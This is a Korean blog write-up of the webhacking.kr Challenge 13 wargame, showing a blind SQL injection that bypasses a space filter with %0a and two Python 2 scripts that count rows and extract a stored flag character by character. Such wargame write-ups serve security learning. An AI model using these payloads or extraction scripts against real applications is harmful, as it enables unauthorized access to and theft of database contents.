늘모자란, 개발 :: [webhacking.kr] Challenge 13

늘모자란, 개발



무려 1천점짜리 문제.. 제목도 그렇지만 SQL injection 문제라고 한다.
곧이 곧대로 적어서 보내보니 no hack이라고 뜬다

여러 질의를 해봤는데, 값은 1과 0으로 나오는거 같다. 그리고 이것저것 쳐보니 select는 안걸리는데, 공백이 걸리는것 같다.
개행을 이용한 공격에서 사용했듯, %0a를 적어서 쿼리를 해보니 걸리진 않는것 같다.

첫 시도는 그래서 개행을 모두 %0A로 변경해서 다음과 같이 날려봤다.

select%0Aflag%0Afrom%0Aprob13password


result가 0이 나온다. 보니까 false를 의미하는것 같다. 여기까지 공백으로 우회되는걸 확인해봤으니 억지로 true로 만들어볼 차례.

1%0Aor%0A1


1 or 1 을 날려보니 result가 1로 반환되었다. T/F가 맞는것 같다.
IF를 이용한 공격 에서 써먹었던 IF로 반환되는 값을 체크하도록 해보자.

처음 접근은 거의 완전히 똑같이 length로 접근했다. URL은 모양은 다음과 같다.
http://webhacking.kr/challenge/web/web-10/?no=IF((select%0alength(flag)%0afrom%0aprob13password)in(37),1,2)


근데 50자리까지 length를 돌렸는데 잘 안되었다. 뭐가 문제인가 고민을 하는 시간을 가졌다..
결국 쿼리를 직접 따와서 내가 한번 돌려봤더니 다음과 같은 에러가 나왔다.

Subquery returns more than 1 row


그러니까 즉, 이 테이블에는 row가 1개 이상인것이다. 정답만 있는게 아니다. limit를 이용해서 강제로 select해보려고 했으나 no hack이라고 나왔다. 즉 접근 자체는 맞는것 같다. count를 이용해서 flag가 몇개인지 세어볼 필요가 있었다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }

for i in range(1,10):
    url = 'http://webhacking.kr/challenge/web/web-10/?no=(select(count(flag))from%0aprob13password)in({})'.format(i)
    
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("<td>1</td>" in response):
        print "count flag --", i


드디어 뭔가 결과를 얻은 기분. 2가 나왔다. 다시 length를 뽑아보자.

http://webhacking.kr/challenge/web/web-10/?no=(select%0alength(max(flag))%0afrom%0aprob13password)%0ain({})


max, min을 차례로 넣어준다.

여기서 얻은 값은

min일 경우 20이 나온다.
max일 경우 4

암만봐도 min, 즉 첫번째 row가 비밀번호겠지만 궁금해진다.
문제는 다 푼것 같지만 max엔 뭐가 있을까? 한번 해보기로 한다. hex값으로 맞추는건 위에 IF를 어쩌고 링크에 있다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,5):
    for j in range(32,123):
        url = 'http://webhacking.kr/challenge/web/web-10/?no=(select%0asubstr(max(flag),{},1)%0afrom%0aprob13password)%0ain({})'.format(i,hex(j))
        print url

        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("<td>1</td>" in response):
            pw = pw + chr(j)
            break
print pw



참 시덥지 않은 값이 나온다. 따로 돌려보는걸 권하진 않는다. 어쨌든 이렇게 해결..
challenge 9를 선행했다면 크게 어렵진않은것 같다. 다만 sql 쿼리가 정식 IDE? 같은게 아니다 보니 괄호실수가 엄청 잦다. 시간 대부분 괄호맞추고 그러느라 허비한것 같다....

덧. 나는 값이 대문자로 나왔는데, 소문자로 입력해야한다.
2016/03/29 12:05 2016/03/29 12:05